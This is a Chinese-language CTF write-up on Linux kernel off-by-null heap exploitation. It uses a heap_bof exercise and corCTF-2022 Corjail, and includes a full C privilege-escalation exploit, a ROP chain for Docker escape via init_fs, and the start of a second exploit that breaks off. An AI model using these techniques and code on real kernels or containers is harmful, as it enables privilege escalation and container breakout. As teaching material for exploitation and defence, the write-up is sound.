Linux kernel 堆溢出利用方法(二)

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kerneloff-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。

off by null

我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?

利用思路

boot.sh

#!/bin/bashqemu-system-x86_64 \-initrd rootfs.img \-kernel bzImage \-m 1G \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \-monitor /dev/null \-s \-cpu kvm64 \-smp cores=1,threads=2 \--nographic

poll系统调用

/*
*   @fds: pollfd类型的一个数组
*   @nfds: 前面的参数fds中条目的个数
*   @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);

poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。

struct pollfd {int fd;short events;short revents;
};struct poll_list {struct poll_list *next; // 指向下一个poll_listint len; // 对应于条目数组中pollfd结构的数量struct pollfd entries[]; // 存储pollfd结构的数组
};

poll_list 结构如下图所示,前 30poll_fd 在栈上,后面的都在堆上,最多 510poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000

poll_list 分配/释放

do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。

#define POLL_STACK_ALLOC	256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))	
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))[...]static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,struct timespec64 *end_time)
{struct poll_wqueues table;int err = -EFAULT, fdcount, len;/* Allocate small arguments on the stack to save memory and befaster - use long to make sure the buffer is aligned properlyon 64 bit archs to avoid unaligned access *//**  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry*/long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; struct poll_list *const head = (struct poll_list *)stack_pps;struct poll_list *walk = head;unsigned long todo = nfds;if (nfds > rlimit(RLIMIT_NOFILE))return -EINVAL;/**  [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间*/len = min_t(unsigned int, nfds, N_STACK_PPS);for (;;) {walk->next = NULL;walk->len = len;if (!len)break;if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))goto out_fds;todo -= walk->len;if (!todo)break;/** 	[3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。* 	每个page 最多存 POLLFD_PER_PAGE (510) 个entry, * 	超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry*/len = min(todo, POLLFD_PER_PAGE);/**   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k*/walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); 			if (!walk) {err = -ENOMEM;goto out_fds;}}poll_initwait(&table);/** 	[5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。*   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。*/fdcount = do_poll(head, &table, end_time);  poll_freewait(&table);if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)goto out_fds;for (walk = head; walk; walk = walk->next) {struct pollfd *fds = walk->entries;int j;for (j = walk->len; j; fds++, ufds++, j--)unsafe_put_user(fds->revents, &ufds->revents, Efault);}user_write_access_end();err = fdcount;
out_fds:walk = head->next;while (walk) { 		// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用struct poll_list *pos = walk;walk = walk->next;kfree(pos);}return err;Efault:user_write_access_end();err = -EFAULT;goto out_fds;
}

我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

详细流程

  1. 首先分配 kmalloc-4096 大小的结构题在ptr[0]

  2. 然后构造这样的poll_list结构体。

  3. 利用off-by-nullpoll_list->next的最后一个字节改为空。然后大量分配kmalloc-32obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。

  4. 等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。

  5. 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000struct param {size_t len;        // 内容长度char *buf;         // 用户态缓冲区地址unsigned long idx; // 表示 ptr 数组的 索引
};size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_shell(void) {system("/bin/sh");
}void qword_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/*--------------------------------------------------------------------------------------------------*/struct callback_head {struct callback_head *next;void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;struct user_key_payload {struct rcu_head rcu;        /* RCU destructor */unsigned short datalen;    /* length of this data */char data[0] __aligned(__alignof__(u64)); /* actual data */
};int key_alloc(int id, void *payload, int payload_len) {char description[0x10] = {};sprintf(description, "pwn_%d", id);return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}int key_update(int id, void *payload, size_t plen) {return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}int key_read(int id, void *bufer, size_t buflen) {return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}int key_revoke(int id) {return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}int key_unlink(int id) {return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}/*--------------------------------------------------------------------------------------------------*/pthread_t tid[40];typedef struct {int nfds, timer;
} poll_args;struct poll_list {struct poll_list *next;int len;struct pollfd entries[];
};void* alloc_poll_list(void *args) {int nfds = ((poll_args *) args)->nfds;int timer = ((poll_args *) args)->timer;struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++) {pfds[i].fd = open("/etc/passwd", O_RDONLY);pfds[i].events = POLLERR;}poll(pfds, nfds, timer);
}void* create_poll_list(size_t size, int timer, int i) {poll_args *args = calloc(1, sizeof(poll_args));args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;args->timer = timer;pthread_create(&tid[i], NULL, alloc_poll_list, args);
}/*--------------------------------------------------------------------------------------------------*/struct list_head {struct list_head *next, *prev;
};
struct tty_file_private {struct tty_struct *tty;struct file *file;struct list_head list;
};struct page;
struct pipe_inode_info;
struct pipe_buf_operations;struct pipe_bufer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);void (*release)(struct pipe_inode_info *, struct pipe_bufer *);int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};/*--------------------------------------------------------------------------------------------------*/void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;size_t kernel_offset;
void get_root() {__asm__("mov rax, [rsp + 8];""mov kernel_offset, rax;");kernel_offset -= 0xffffffff81229378;commit_creds = (void *) ((size_t) commit_creds + kernel_offset);init_cred = (void *) ((size_t) init_cred + kernel_offset);commit_creds(init_cred);__asm__("swapgs;""push user_ss;""push user_sp;""push user_rflags;""push user_cs;""push user_rip;""iretq;");
}/*--------------------------------------------------------------------------------------------------*/int main() {save_status();signal(SIGSEGV, (void *) get_shell);bof_fd = open("dev/bof", O_RDWR);int seq_fd[SEQ_NUM];printf("[*] try to alloc_kmalloc-4096\n");size_t* mem = malloc(0x1010);memset(mem, '\xff', 0x1010);struct param p = {0x1000, (char*)mem, 0};ioctl(bof_fd, BOF_MALLOC, &p);printf("[*] try to spary kmalloc-32\n");p.len = 0x20;for (int i = 1; i < 20; ++i){p.idx = i;memset(mem, i, 0x20);memset(mem, 0, 0x18);ioctl(bof_fd, BOF_MALLOC, &p);ioctl(bof_fd, BOF_EDIT, &p);}printf("[*] try to alloc_poll_list\n");for (int i = 0; i < 14; ++i){create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);}printf("[*] try to spary kmalloc-32\n");p.len = 0x20;for (int i = 20; i < 40; ++i){p.idx = i;memset(mem, i, 0x20);memset(mem, 0, 0x18);ioctl(bof_fd, BOF_MALLOC, &p);ioctl(bof_fd, BOF_EDIT, &p);}sleep(1);
//	  调试用代码
//    p.len = 0x1010;
//    p.idx = 0;
//    ioctl(bof_fd, BOF_READ, &p);//    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);p.len = 0x1001;p.idx = 0;memset(mem, '\x00', 0x1001);ioctl(bof_fd, BOF_EDIT, &p);void *res;for (int i = 0; i < 14; ++i){printf("[*] wating for poll end\n");pthread_join(tid[i], &res);}for (int i = 0; i < 256; ++i){seq_fd[i] = open("/proc/self/stat", O_RDONLY);}sleep(1);for (int i = 1; i < 40; ++i){p.idx = i;p.len = 0x20;ioctl(bof_fd, BOF_READ, &p);printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);mem[0] = (size_t*)get_root;mem[1] = (size_t*)get_root;mem[2] = (size_t*)get_root;mem[3] = (size_t*)get_root;ioctl(bof_fd, BOF_EDIT, &p);}for (int i = 1; i < 40; ++i){p.idx = i;p.len = 0x20;ioctl(bof_fd, BOF_READ, &p);printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);}for (int i = 0; i < 256; i++) {read(seq_fd[i], p.buf, 1);}return 0;
}

corCTF-2022:Corjail

题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

run_challenge.sh

#!/bin/sh
qemu-system-x86_64 \-m 1G \-nographic \-no-reboot \-kernel bzImage \-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \-hda coros.qcow2 \-snapshot \-monitor /dev/null \-cpu qemu64,+smep,+smap,+rdrand \-smp cores=4 \--enable-kvm

init脚本

查看服务进程/etc/systemd/system/init.service

Description=Initialize challenge[Service]
Type=oneshot
ExecStart=/usr/local/bin/init[Install]
WantedBy=multi-user.target

查看 /usr/local/bin/init 脚本;

 cat /usr/local/bin/init
#!/bin/bashUSER=userFLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')useradd --create-home --shell /bin/bash $USERecho "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '"  >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrcchmod -r 0700 /home/$USERmv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG

password

❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......

root_shell

查看root用户的/usr/local/bin/jail;

><fs> cat /usr/local/bin/jail
#!/bin/bashecho -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'/usr/bin/docker run -it --user user \--hostname CoRJail \--security-opt seccomp=/etc/docker/corjail.json \-v /proc/cormon:/proc_rw/cormon:rw corcontainer/bin/bash/usr/sbin/poweroff -f

发现其启动rootshell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。

为了方便调试,我们可以使用edit将其修改为:

><fs> edit /usr/local/bin/jail 
><fs> cat /usr/local/bin/jail
#!/bin/bashecho -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'cp /exploit /home/user || echo "[!] exploit not found, skipping"chown -R user:user /home/userecho 0 > /proc/sys/kernel/kptr_restrict/usr/bin/docker run -it --user root \--hostname CoRJail \--security-opt seccomp=/etc/docker/corjail.json \# 允许容器能够调用与日志相关的系统调用--cap-add CAP_SYSLOG \# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。-v /proc/cormon:/proc_rw/cormon:rw \# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host-v /home/user/:/home/user/host \corcontainer/bin/bash/usr/sbin/poweroff -f

edit 的用法和 vim 一样。

后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:

><fs> help upload
NAMEupload - upload a file from the local machineSYNOPSISupload filename remotefilenameDESCRIPTIONUpload local file filename to remotefilename on the filesystem.filename can also be a named pipe.See also "download".

kernel_patch

diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c	2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {/** Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h	2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()* macros to work correctly.*/
-#define SYSCALL_DEFINE0(sname)						\
+#define __SYSCALL_DEFINE0(sname)						\SYSCALL_METADATA(_##sname, 0);					\static long __do_sys_##sname(const struct pt_regs *__unused);	\__X64_SYS_STUB0(sname)						\
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h	2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h	2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@#include <linux/key.h>#include <linux/personality.h>#include <trace/syscall.h>
+#include <asm/syscall.h>#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER/*
@@ -202,8 +203,8 @@}#endif-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)					\
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)					\SYSCALL_METADATA(_##sname, 0);				\asmlinkage long sys_##sname(void);			\ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);		\
@@ -219,9 +220,41 @@#define SYSCALL_DEFINE_MAXARGS	6-#define SYSCALL_DEFINEx(x, sname, ...)				\
-	SYSCALL_METADATA(sname, x, __VA_ARGS__)			\
-	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+	this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)					\
+	{									\
+		__SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);		\
+		return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));	\
+	}									\
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+	static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)					\
+	{								\
+		__SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);	\
+		return __count_sys_##sname();				\
+	}								\
+	static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)			\
+	SYSCALL_METADATA(sname, x, __VA_ARGS__)		\
+	SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)	\
+	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)	\
+	SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)		\
+	SYSCALL_COUNT_DECLARE0(sname)	\
+	__SYSCALL_DEFINE0(sname)	\
+	SYSCALL_COUNT_FUNC0(sname)#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c	2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c	2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@return NULL;}-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr){if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@return syscalls_metadata[nr];}
+EXPORT_SYMBOL(syscall_nr_to_meta);const char *get_syscall_name(int syscall){
@@ -122,6 +123,7 @@return entry->name;}
+EXPORT_SYMBOL(get_syscall_name);static enum print_line_tprint_syscall_enter(struct trace_iterator *iter, int flags,

其中

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。


seccomp.json 保存了系统调用的白名单。

{"defaultAction": "SCMP_ACT_ERRNO","defaultErrnoRet": 1,"syscalls": [{"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],"action": "SCMP_ACT_ALLOW"},{"names": [ "clone" ],"action": "SCMP_ACT_ALLOW","args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]}]
}

根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。

root@CoRJail:/# cat /proc_rw/cormon CPU0      CPU1      CPU2      CPU3	Syscall (NR)9        16        25        18	sys_poll (7)0         0         0         0	sys_fork (57)66        64        79        60	sys_execve (59)0         0         0         0	sys_msgget (68)0         0         0         0	sys_msgsnd (69)0         0         0         0	sys_msgrcv (70)0         0         0         0	sys_ptrace (101)15        19        11         6	sys_setxattr (188)27        24        11        20	sys_keyctl (250)0         0         2         2	sys_unshare (272)0         1         0         0	sys_execveat (322)

也可以指定系统调用。

root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
root@CoRJail:/# cat /proc_rw/cormon CPU0      CPU1      CPU2      CPU3	Syscall (NR)0         0         0         0	sys_msgsnd (69)0         0         0         0	sys_msgrcv (70)

src.c

可以看到 write 存在明显的off-by-null

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{loff_t offset = *ppos;char *syscalls;size_t len;if (offset < 0)return -EINVAL;if (offset >= PAGE_SIZE || !count)return 0;len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);if (!syscalls){printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");return -ENOMEM;}if (copy_from_user(syscalls, ubuf, len)){printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");return -EFAULT;}syscalls[len] = '\x00';if (update_filter(syscalls)){kfree(syscalls);return -EINVAL;}kfree(syscalls);return count;
}

利用思路

poll_list 利用方式中:

  • 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object
  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload
  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

详细流程如下:

首先,我们要打开有漏洞的模块。
使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。

void bind_core(bool fixed, bool thread) {cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);if (thread) {pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);} else {sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);}
}

喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20poll_list

此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object

通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_listnext 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。

注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_listnext 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,size_t size, int flags)
{int error;void *kvalue = NULL;char kname[XATTR_NAME_MAX + 1];[...]if (size) {[...]kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-xif (!kvalue)return -ENOMEM;// 修改kmalloc-x内容if (copy_from_user(kvalue, value, size)) {error = -EFAULT;goto out;}[...]}error = vfs_setxattr(d, kname, kvalue, size, flags);
out:kvfree(kvalue); // 释放kmalloc-xreturn error;
}

另外实测 kmalloc-32freelist 偏移为 16 字节,不会覆盖 next 指针。

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};struct user_key_payload {struct rcu_head	rcu;		/* RCU destructor */unsigned short	datalen;	/* length of this data */char		data[0] __aligned(__alignof__(u64)); /* actual data */
};struct callback_head {struct callback_head *next;void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object

释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payloadpoll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_listnext 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object

打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct

int tty_alloc_file(struct file *file)
{struct tty_file_private *priv;priv = kmalloc(sizeof(*priv), GFP_KERNEL);if (!priv)return -ENOMEM;file->private_data = priv;return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {struct tty_struct *tty;struct file *file;struct list_head list;
};

poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer

struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};

之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。

docker逃逸

具体实现为修改 task_structfs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns()seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct

    // commit_creds(&init_creds)*rop++ = pop_rdi_ret;*rop++ = init_cred;*rop++ = commit_creds;// current = find_task_by_vpid(getpid())*rop++ = pop_rdi_ret;*rop++ = getpid();*rop++ = find_task_by_vpid;// current->fs = &init_fs*rop++ = pop_rcx_ret;*rop++ = 0x6e0;*rop++ = add_rax_rcx_ret;*rop++ = pop_rbx_ret;*rop++ = init_fs;*rop++ = mov_mmrax_rbx_pop_rbx_ret;rop++;

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>#define PAGE_SIZE 0x1000int randint(int min, int max) {return min + (rand() % (max - min));
}void bind_core(bool fixed, bool thread) {cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);if (thread) {pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);} else {sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);}
